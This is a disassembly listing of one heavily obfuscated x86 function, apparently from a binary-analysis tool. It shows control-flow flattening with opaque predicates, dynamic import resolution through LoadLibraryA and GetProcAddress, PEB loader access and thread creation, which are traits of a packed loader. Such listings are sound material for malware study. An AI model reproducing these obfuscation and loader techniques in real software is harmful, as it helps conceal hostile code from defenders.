Function at 0x401740
Capabilities:
Access peb ldr_data
Create thread
Get number of processors
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1d4
mov eax, dword [0x4b12c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x4b3448]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, dword [0x4b3444]
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete byte [ebp - 0x85]
cmp eax, 0xa
mov eax, 0x50916639
setl byte [ebp - 0x86]
jmp 0x4017d0
mov eax, dword [0x4b3448]
mov edi, 0x434d666c
mov esi, 0xd1624bd
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xd1624bd
sete al
cmove ecx, edi
cmp dword [0x4b3444], 0xa
setl dl
cmovge ecx, esi
xor dl, al
cmovne ecx, edi
mov eax, ecx
nop word cs:[eax + eax]
cmp eax, 0xa0d22f0
jle 0x401880
cmp eax, 0x4884f420
jle 0x401950
cmp eax, 0x5cd63201
jle 0x401a3f
cmp eax, 0x6c86611f
jle 0x401bf2
cmp eax, 0x772072fc
jle 0x401ef9
cmp eax, 0x7b0de8cc
jg 0x4024a0
cmp eax, 0x79dbdc78
jle 0x402d68
cmp eax, 0x79dbdc79
je 0x403c17
cmp eax, 0x7a5863cf
je 0x403c3d
cmp eax, 0x7abde9b4
jne 0x4017d0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xfc]
mov esi, 0x4ae3fa03
mov dword [eax], ecx
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xe131f283
jmp 0x4052a1
cmp eax, 0xc8c725f0
jg 0x4019c0
cmp eax, 0x9bf4fe7e
jg 0x401aad
cmp eax, 0x90439214
jg 0x401c3e
cmp eax, 0x88c158d4
jle 0x401f46
cmp eax, 0x8cc37dfb
jg 0x40251a
cmp eax, 0x8b53965c
jle 0x402d88
cmp eax, 0x8b53965d
je 0x403c70
cmp eax, 0x8b5db5a7
je 0x403c85
cmp eax, 0x8bfceb3a
jne 0x4017d0
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ecx + eax]
mov esi, dword [ebp - 0x44]
mov esi, dword [ebp - 0x44]
mov esi, dword [ebp - 0x44]
mov esi, dword [ebp - 0x44]
mov esi, dword [ebp - 0x44]
mov esi, dword [ebp - 0x44]
mov esi, dword [ebp - 0x44]
mov esi, dword [ebp - 0x44]
mov esi, dword [ebp - 0x44]
add edx, dword [ebp - 0x44]
mov dword [ecx + eax], edx
mov eax, 0xe75311a0
jmp 0x4017d0
cmp eax, 0x283698e1
jg 0x401b1d
cmp eax, 0x1ce7407b
jg 0x401c93
cmp eax, 0x130a2ddc
jle 0x401f98
cmp eax, 0x17386e3c
jg 0x402556
cmp eax, 0x14ada49e
jle 0x402e7c
cmp eax, 0x14ada49f
je 0x403c98
cmp eax, 0x14d94dab
je 0x403ca8
cmp eax, 0x161e8fc4
jne 0x4017d0
mov eax, dword [ebp - 0x54]
mov eax, 0xf0e7181c
jmp 0x4017d0
cmp eax, 0xee39932c
jg 0x401b9b
cmp eax, 0xd944bcf2
jg 0x401cfc
cmp eax, 0xcf9eeb67
jle 0x401fec
cmp eax, 0xd505c586
jg 0x40258c
cmp eax, 0xd27706c0
jle 0x402eab
cmp eax, 0xd27706c1
je 0x403cb2
cmp eax, 0xd2c48861
je 0x403cc2
cmp eax, 0xd381a0a2
jne 0x4017d0
mov eax, dword [ebp - 0x15c]
add eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov dword [eax], 0
mov eax, 0x50ab8e23
jmp 0x4017d0
cmp eax, 0x529c9f28
jg 0x401d56
cmp eax, 0x4ea71d08
jle 0x40202d
cmp eax, 0x50ba90a8
jg 0x4025c2
cmp eax, 0x50916638
jle 0x402ef5
cmp eax, 0x50916639
je 0x403ccf
cmp eax, 0x50a4fc4c
je 0x403cff
cmp eax, 0x50ab8e23
jne 0x4017d0
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x7c]
add eax, 4
mov dword [ebp - 0xf0], eax
mov eax, 0x889071cf
jmp 0x4017d0
cmp eax, 0xb1068dd8
jg 0x401db2
cmp eax, 0xa5d120f0
jle 0x402082
cmp eax, 0xab51d2b3
jg 0x4025f8
cmp eax, 0xa80e6a4d
jle 0x402f56
cmp eax, 0xa80e6a4e
je 0x403d31
cmp eax, 0xa9d3d2f1
je 0x403d85
cmp eax, 0xaa9fcf77
jne 0x4017d0
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x12c], eax
mov eax, 0x573dc584
jmp 0x4017d0
cmp eax, 0x384477d5
jg 0x401e0a
cmp eax, 0x31df0801
jle 0x4020e0
cmp eax, 0x34ba765d
jg 0x402631
cmp eax, 0x328b64c5
jle 0x402f76
cmp eax, 0x328b64c6
je 0x403d9e
cmp eax, 0x33ea6043
je 0x403da8
cmp eax, 0x34431fe9
jne 0x4017d0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0xf8]
mov edi, 0xed680369
mov esi, 0x34ba765e
mov dword [eax], ecx
mov eax, dword [0x4b3448]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x34ba765e
jmp 0x40469d
cmp eax, 0xfeaf7160
jg 0x401e9e
cmp eax, 0xf4a0fd6e
jle 0x402121
cmp eax, 0xf6e4b311
jg 0x402670
cmp eax, 0xf5586907
jle 0x402fe3
cmp eax, 0xf5586908
je 0x403db8
cmp eax, 0xf6168a6e
je 0x403de4
cmp eax, 0xf6c3c9c5
jne 0x4017d0
mov eax, 0x540df3be
jmp 0x4017d0
cmp eax, 0x6287fa61
jle 0x40219b
cmp eax, 0x674a603e
jg 0x4026bc
cmp eax, 0x63b5bc59
jle 0x403003
cmp eax, 0x63b5bc5a
je 0x403dee
cmp eax, 0x63d43a4c
je 0x403df8
cmp eax, 0x659d5e7a
jne 0x4017d0
mov eax, 0x3eaadb54
jmp 0x4017d0
cmp eax, 0x974c6603
jle 0x4021dc
cmp eax, 0x9869a81f
jg 0x402735
cmp eax, 0x97b59b8f
jle 0x40304c
cmp eax, 0x97b59b90
je 0x403e12
cmp eax, 0x97d90ec0
je 0x403e39
cmp eax, 0x981da4d5
jne 0x4017d0
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xa
mov eax, 0x3ca249b2
jmp 0x4017d0
cmp eax, 0x24236f6b
jle 0x40223c
cmp eax, 0x273cb5bf
jg 0x402794
cmp eax, 0x2694ebf1
jle 0x403078
cmp eax, 0x2694ebf2
je 0x403e43
cmp eax, 0x26ab9cd2
je 0x403e65
cmp eax, 0x26d5fc50
jne 0x4017d0
mov eax, dword [0x4b3448]
mov esi, 0x27913068
mov edi, 0xab693666
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xab693666
jmp 0x4051ee
cmp eax, 0xdefd1dfa
jle 0x40227d
cmp eax, 0xe753119f
jg 0x4027ca
cmp eax, 0xe1fbace6
jle 0x4030b6
cmp eax, 0xe1fbace7
je 0x403e8d
cmp eax, 0xe5ef248a
je 0x403e97
cmp eax, 0xe7011962
jne 0x4017d0
mov eax, dword [ebp - 0x4c]
mov esi, 0x382b9484
mov edi, 0xbffdcf7a
mov dword [eax], 2
jmp 0x404082
cmp eax, 0x54b6a948
jle 0x4022f9
cmp eax, 0x57b28dbc
jg 0x402800
cmp eax, 0x5616b27e
jle 0x4030e1
cmp eax, 0x5616b27f
je 0x403eb7
cmp eax, 0x56199419
je 0x404035
cmp eax, 0x573dc584
jne 0x4017d0
mov eax, dword [ebp - 0x12c]
movzx eax, word [eax + 2]
mov dword [ebp - 0x130], eax
mov eax, 0xb4ee4465
jmp 0x4017d0
cmp eax, 0xbd56090e
jle 0x402361
cmp eax, 0xc26fb19c
jg 0x402845
cmp eax, 0xbeda6f7f
jle 0x403130
cmp eax, 0xbeda6f80
je 0x40406f
cmp eax, 0xbffdcf7a
je 0x404092
cmp eax, 0xc11827a6
jne 0x4017d0
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x1d4], eax
mov eax, 0x86a03c30
jmp 0x4017d0
cmp eax, 0x3c2b1e3e
jle 0x4023be
cmp eax, 0x43f81ff0
jg 0x40288b
cmp eax, 0x3cd23905
jle 0x40315f
cmp eax, 0x3cd23906
je 0x40409c
cmp eax, 0x3eaadb54
je 0x4040a6
cmp eax, 0x434d666c
jne 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0xf6c3c9c5
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xd1624bd
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x2c]
cmovge ecx, edx
mov eax, dword [eax]
inc eax
mov dword [ebp - 0xfc], eax
mov eax, ecx
jmp 0x4017d0
cmp eax, 0x263326d
jle 0x402448
cmp eax, 0x4c28b01
jg 0x4028d2
cmp eax, 0x2d8e0f3
jle 0x4031a4
cmp eax, 0x2d8e0f4
je 0x4040cd
cmp eax, 0x3ff55f4
je 0x404105
cmp eax, 0x4a60f3f
jne 0x4017d0
cmp byte [ebp - 0x8d], 0
mov eax, 0x60896f7d
mov ecx, 0x6287fa62
cmovne eax, ecx
jmp 0x4017d0
cmp eax, 0x6f471c1b
jle 0x402908
cmp eax, 0x715e9d91
jle 0x4031ee
cmp eax, 0x715e9d92
je 0x40411a
cmp eax, 0x75b20102
je 0x404124
cmp eax, 0x76bf22df
jne 0x4017d0
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xd
mov eax, dword [ebp - 0x2c]
mov eax, 0x9b493072
jmp 0x4017d0
cmp eax, 0x850c1647
jle 0x402958
cmp eax, 0x856a0642
jle 0x403230
cmp eax, 0x856a0643
je 0x404137
cmp eax, 0x86a03c30
je 0x404156
cmp eax, 0x889071cf
jne 0x4017d0
mov edx, dword [0x4b3448]
mov ecx, dword [0x4b3444]
mov esi, 0x8f83bae5
mov edi, 0x95f2d0b9
jmp 0x40499f
cmp eax, 0xd1624bc
jle 0x402983
cmp eax, 0xf4fd80f
jle 0x403250
cmp eax, 0xf4fd810
je 0x40416b
cmp eax, 0xf8d4ac5
je 0x4041af
cmp eax, 0x12b00836
jne 0x4017d0
mov eax, dword [ebp - 0x170]
cmp eax, dword [ebp - 0x174]
mov eax, 0x5cd63202
setl byte [ebp - 0x87]
jmp 0x4017d0
cmp eax, 0xca69a2c9
jle 0x4029b1
cmp eax, 0xcb2853f5
jle 0x40328b
cmp eax, 0xcb2853f6
je 0x4041c5
cmp eax, 0xcb6783d0
je 0x4041e0
cmp eax, 0xccd7be1b
jne 0x4017d0
mov eax, 0xc98f047d
jmp 0x4017d0
cmp eax, 0x4ae3fa02
jle 0x4029f6
cmp eax, 0x4d848d98
jle 0x4032bb
cmp eax, 0x4d848d99
je 0x4041f7
cmp eax, 0x4db9092c
je 0x40420a
cmp eax, 0x4e3d8521
jne 0x4017d0
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x190]
mov dword [eax], ecx
mov eax, dword [ebp - 0x94]
mov eax, 0xeec9f2e1
jmp 0x4017d0
cmp eax, 0x9f5306d1
jle 0x402a2a
cmp eax, 0xa4a100c3
jle 0x4032e9
cmp eax, 0xa4a100c4
je 0x40422a
cmp eax, 0xa518ed0b
je 0x404234
cmp eax, 0xa57ebe53
jne 0x4017d0
mov eax, dword [0x4b3448]
mov esi, 0x4884f421
mov edi, 0x808efbc2
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x808efbc2
jmp 0x4051ee
cmp eax, 0x2bf30053
jle 0x402a5e
cmp eax, 0x2d08b589
jle 0x403318
cmp eax, 0x2d08b58a
je 0x40425d
cmp eax, 0x30c92b39
je 0x404296
cmp eax, 0x312d97e5
jne 0x4017d0
mov eax, 0x97b59b90
jmp 0x4017d0
cmp eax, 0xf0cded51
jle 0x402aa5
cmp eax, 0xf2c8e1f5
jle 0x403347
cmp eax, 0xf2c8e1f6
je 0x4042a0
cmp eax, 0xf31be809
je 0x4042aa
cmp eax, 0xf4774e9f
jne 0x4017d0
mov eax, dword [ebp - 0x20]
mov edi, 0x6879382b
mov esi, 0x545a0f4f
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x3c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov dword [ebp - 0x194], eax
mov eax, dword [0x4b3448]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x545a0f4f
jmp 0x4017a7
cmp eax, 0x5f9e895e
jle 0x402afa
cmp eax, 0x603b261b
jle 0x40338a
cmp eax, 0x603b261c
je 0x4042c3
cmp eax, 0x60896f7d
je 0x4042d6
cmp eax, 0x612addd7
jne 0x4017d0
mov eax, 0xbcb78003
jmp 0x4017d0
cmp eax, 0x94a4281d
jle 0x402b2c
cmp eax, 0x95f2d0b8
jle 0x4033aa
cmp eax, 0x95f2d0b9
je 0x4042fc
cmp eax, 0x96435ddc
je 0x404331
cmp eax, 0x96da3f36
jne 0x4017d0
mov eax, dword [ebp - 0x6c]
mov eax, dword [0x4b3448]
mov esi, 0xfefb4daa
mov edi, 0xcb9d762
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xcb9d762
jmp 0x405008
cmp eax, 0x2017db7c
jle 0x402bca
cmp eax, 0x226fda87
jle 0x4033ca
cmp eax, 0x226fda88
je 0x404347
cmp eax, 0x2326b543
je 0x404367
cmp eax, 0x23a23717
jne 0x4017d0
mov eax, 0x5d90077e
jmp 0x4017d0
cmp eax, 0xdc1fbb3f
jle 0x402bf5
cmp eax, 0xde41e028
jle 0x40343d
cmp eax, 0xde41e029
je 0x40439a
cmp eax, 0xde6c7125
je 0x4043b5
cmp eax, 0xde709bbb
jne 0x4017d0
mov eax, dword [ebp - 0x19c]
mov ecx, eax
xor ecx, 0xffff0000
and ecx, eax
mov eax, dword [ebp - 0x94]
push ecx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov ecx, 0x4cb1302a
mov eax, dword [ebp - 0x84]
cmp dword [eax], 0
mov eax, 0xfee8a469
cmove eax, ecx
jmp 0x4017d0
cmp eax, 0x540718a8
jle 0x402c80
cmp eax, 0x545a0f4e
jle 0x403476
cmp eax, 0x545a0f4f
je 0x404403
cmp eax, 0x5463922c
je 0x401786
cmp eax, 0x5485ef46
jne 0x4017d0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov dword [ebp - 0x160], eax
mov eax, 0xd381a0a2
jmp 0x4017d0
cmp eax, 0xb59431c3
jle 0x402cc4
cmp eax, 0xb8c43149
jle 0x4034a6
cmp eax, 0xb8c4314a
je 0x404416
cmp eax, 0xbb176586
je 0x404437
cmp eax, 0xbcb78003
jne 0x4017d0
mov eax, dword [0x4b3448]
mov esi, 0x2bf30054
mov edi, 0x14ada49f
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x14ada49f
jmp 0x405008
cmp eax, 0x38fca041
jle 0x402d07
cmp eax, 0x39a48c74
jle 0x4034ee
cmp eax, 0x39a48c75
je 0x404444
cmp eax, 0x39bfa270
je 0x404451
cmp eax, 0x3a945556
jne 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x5fd1a41f
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xbb176586
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x28]
cmovge ecx, edx
cmp dword [eax], 0
mov eax, ecx
sets byte [ebp - 0x8c]
jmp 0x4017d0
cmp eax, 0xffb7ef28
jle 0x402d3d
cmp eax, 0x3d6a35
jle 0x40352a
cmp eax, 0x3d6a36
je 0x404466
cmp eax, 0x151d7ee
je 0x404470
cmp eax, 0x239c03d
jne 0x4017d0
mov eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, 0xbbaec2b
jmp 0x4017d0
cmp eax, 0x7ecb855e
jle 0x403573
cmp eax, 0x7ecb855f
je 0x4044a1
cmp eax, 0x7f1cf429
je 0x4044b6
cmp eax, 0x7ffb554b
jne 0x4017d0
mov edx, dword [0x4b3448]
mov ecx, dword [0x4b3444]
mov esi, 0xbd56090f
mov edi, 0x1e22ae72
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x5c]
cmovge eax, esi
mov ecx, dword [ecx]
mov dword [ebp - 0x17c], ecx
jmp 0x4017d0
cmp eax, 0x8ed72758
jle 0x403593
cmp eax, 0x8ed72759
je 0x4044cd
cmp eax, 0x8f3d9146
je 0x4044d7
cmp eax, 0x8f83bae5
jne 0x4017d0
mov eax, dword [ebp - 0xf0]
mov eax, 0x95f2d0b9
jmp 0x4017d0
cmp eax, 0x18f23af6
jle 0x4035c6
cmp eax, 0x18f23af7
je 0x4044fc
cmp eax, 0x1c4919d7
je 0x404506
cmp eax, 0x1c6f6a84
jne 0x4017d0
mov eax, 0xabe5ea03
jmp 0x4017d0
cmp eax, 0xd634f6d2
jle 0x4035e6
cmp eax, 0xd634f6d3
je 0x404539
cmp eax, 0xd8ff2fe8
je 0x404554
cmp eax, 0xd90eb067
jne 0x4017d0
mov eax, 0x50a4fc4c
jmp 0x4017d0
cmp eax, 0x51b2c982
jle 0x403606
cmp eax, 0x51b2c983
je 0x404580
cmp eax, 0x51c2475c
je 0x4045b9
cmp eax, 0x51c7b6c7
jne 0x4017d0
mov eax, 0xabe5ea03
jmp 0x4017d0
cmp eax, 0xabe5ea02
jle 0x40363a
cmp eax, 0xabe5ea03
je 0x4045c9
cmp eax, 0xac446644
je 0x404611
cmp eax, 0xaf25e2fb
jne 0x4017d0
mov eax, dword [ebp - 0x60]
mov eax, 0xa0d22f1
jmp 0x4017d0
cmp eax, 0x35251d38
jle 0x403689
cmp eax, 0x35251d39
je 0x40461b
cmp eax, 0x3776b8b1
je 0x40463f
cmp eax, 0x382b9484
jne 0x4017d0
mov eax, dword [ebp - 0x4c]
mov dword [eax], 2
mov eax, 0xe7011962
jmp 0x4017d0
cmp eax, 0xfad44386
jle 0x4036bf
cmp eax, 0xfad44387
je 0x404672
cmp eax, 0xfb47a452
je 0x40467c
cmp eax, 0xfd27126b
jne 0x4017d0
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xdfffffff
test ecx, eax
mov eax, 0xa452e909
setne byte [ebp - 0x8a]
jmp 0x4017d0
cmp eax, 0x6879382a
jle 0x4036f3
cmp eax, 0x6879382b
je 0x4046ba
cmp eax, 0x6a43986b
je 0x4046c4
cmp eax, 0x6af97987
jne 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0xd505c587
mov edi, 0x6c866120
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x1e0], eax
jmp 0x405119
cmp eax, 0x99a01cc4
jle 0x403713
cmp eax, 0x99a01cc5
je 0x4046ce
cmp eax, 0x9a366b9d
je 0x4046f5
cmp eax, 0x9b493072
jne 0x4017d0
mov eax, dword [ebp - 0x24]
mov esi, 0x8cc37dfc
mov edi, 0x76bf22df
mov dword [eax], 0xd
mov eax, dword [ebp - 0x2c]
mov eax, dword [0x4b3448]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x76bf22df
jmp 0x4051ee
cmp eax, 0x2772452d
jle 0x40377b
cmp eax, 0x2772452e
je 0x4046ff
cmp eax, 0x27913068
je 0x404724
cmp eax, 0x27aaebd6
jne 0x4017d0
mov eax, 0xb59431c4
jmp 0x4017d0
cmp eax, 0xea8dc184
jle 0x4037ac
cmp eax, 0xea8dc185
je 0x404784
cmp eax, 0xecef1a5b
je 0x40478e
cmp eax, 0xed680369
jne 0x4017d0
mov eax, 0x6ddeb6c9
jmp 0x4017d0
cmp eax, 0x588bbb71
jle 0x4037f5
cmp eax, 0x588bbb72
je 0x4047a8
cmp eax, 0x5924e95d
je 0x4047b2
cmp eax, 0x595560e6
jne 0x4017d0
cmp byte [ebp - 0x88], 0
mov eax, 0x79dbdc79
mov ecx, 0xfeaf7161
cmovne eax, ecx
jmp 0x4017d0
cmp eax, 0xc359e849
jle 0x40383e
cmp eax, 0xc359e84a
je 0x404806
cmp eax, 0xc3df6944
je 0x404839
cmp eax, 0xc6d304a9
jne 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x504e7a5c
mov edi, 0x326cb75b
jmp 0x4050f4
cmp eax, 0x44c06e86
jle 0x40386d
cmp eax, 0x44c06e87
je 0x40487c
cmp eax, 0x454febc2
je 0x4048a2
cmp eax, 0x455a4724
jne 0x4017d0
mov edx, dword [0x4b3448]
mov ecx, dword [0x4b3444]
mov esi, 0x9f5306d2
mov edi, 0xab51d2b4
jmp 0x40499f
cmp eax, 0x7efabd6
jle 0x40388d
cmp eax, 0x7efabd7
je 0x4048b2
cmp eax, 0x88c8eef
je 0x4048bc
cmp eax, 0x9dbbd9b
jne 0x4017d0
mov eax, 0x588b6d2d
jmp 0x4017d0
cmp eax, 0x6ddeb6c8
jg 0x4038c9
cmp eax, 0x6cd93c16
je 0x4048cf
cmp eax, 0x6d0d9a76
jne 0x40537a
mov eax, dword [ebp - 0x40]
mov edi, 0x6a43986b
mov esi, 0x603b261c
mov dword [eax], 0
mov eax, dword [0x4b3448]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x603b261c
jmp 0x4017a7
cmp eax, 0x8235eb52
jg 0x4038f3
cmp eax, 0x808efbc2
je 0x40492b
cmp eax, 0x81c3b6e2
jne 0x4017d0
mov eax, 0xfad44387
jmp 0x4017d0
cmp eax, 0xbbaec2a
jg 0x403924
cmp eax, 0xa0d22f1
je 0x404935
cmp eax, 0xaecf7da
jne 0x4017d0
mov eax, dword [ebp - 0x58]
mov eax, 0x7b68e669
jmp 0x4017d0
cmp eax, 0xc9b374ce
jg 0x403944
cmp eax, 0xc8c725f1
je 0x40494a
cmp eax, 0xc98f047d
jne 0x4017d0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x50]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.0043e820
add esp, 0xc
mov eax, 0x161e8fc4
jmp 0x4017d0
cmp eax, 0x49732675
jg 0x4039aa
cmp eax, 0x4884f421
je 0x404965
cmp eax, 0x491c9f72
jne 0x4017d0
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov eax, 0xbeda6f80
jmp 0x4017d0
cmp eax, 0x9de823c1
jg 0x4039f3
cmp eax, 0x9bf4fe7f
je 0x40497f
cmp eax, 0x9d225f86
jne 0x4017d0
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
mov eax, 0x63b5bc5a
jmp 0x4017d0
cmp eax, 0x28f0f8cc
jg 0x403a16
cmp eax, 0x283698e2
je 0x404989
cmp eax, 0x28efdc0e
jne 0x4017d0
mov eax, dword [0x4b3448]
mov edi, 0x50ba90a9
mov esi, 0x854a519f
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x854a519f
jmp 0x40469d
cmp eax, 0xef3edcdd
jg 0x403a39
cmp eax, 0xee39932d
je 0x4049cc
cmp eax, 0xeec9f2e1
jne 0x4017d0
mov eax, dword [ebp - 0xcc]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x94]
mov dword [ecx], eax
mov ecx, 0x8b5db5a7
mov eax, dword [ebp - 0x94]
cmp dword [eax], 0
mov eax, 0xc26fb19d
cmove eax, ecx
jmp 0x4017d0
cmp eax, 0x5db87d4d
jg 0x403aa3
cmp eax, 0x5cd63202
je 0x4049ea
cmp eax, 0x5d90077e
jne 0x4017d0
cmp dword [ebp - 0x1c4], 0
mov eax, 0x9869a820
jmp 0x403e58
cmp eax, 0x92579cbc
jg 0x403ae9
cmp eax, 0x90439215
je 0x404a03
cmp eax, 0x9200fd5e
jne 0x4017d0
mov eax, dword [ebp - 0xb0]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0xb4]
mov dword [eax], 0
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
mov eax, 0x27aaebd6
jmp 0x4017d0
cmp eax, 0x1fcf8fb6
jg 0x403b0c
cmp eax, 0x1ce7407c
je 0x404a37
cmp eax, 0x1e22ae72
jne 0x4017d0
mov eax, 0xdefd1dfb
jmp 0x4017d0
cmp eax, 0xdbee770c
jg 0x403b38
cmp eax, 0xd944bcf3
je 0x404a51
cmp eax, 0xdba6e274
jne 0x4017d0
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
vxorps xmm0, xmm0, xmm0
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0xbc]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x7c]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x7c]
add eax, 4
mov dword [ebp - 0x110], eax
mov eax, 0xcb2853f6
jmp 0x4017d0
cmp eax, 0x536601f0
jg 0x403b58
cmp eax, 0x529c9f29
je 0x404a5b
cmp eax, 0x52ae5680
jne 0x4017d0
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x174], eax
mov eax, 0x12b00836
jmp 0x4017d0
cmp eax, 0xb3c14ab4
jg 0x403b81
cmp eax, 0xb1068dd9
je 0x404a81
cmp eax, 0xb2a14209
jne 0x4017d0
mov eax, dword [ebp - 0x70]
mov esi, 0x8e79a342
mov edi, 0x772072fd
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
vmovsd xmm0, qword [ecx]
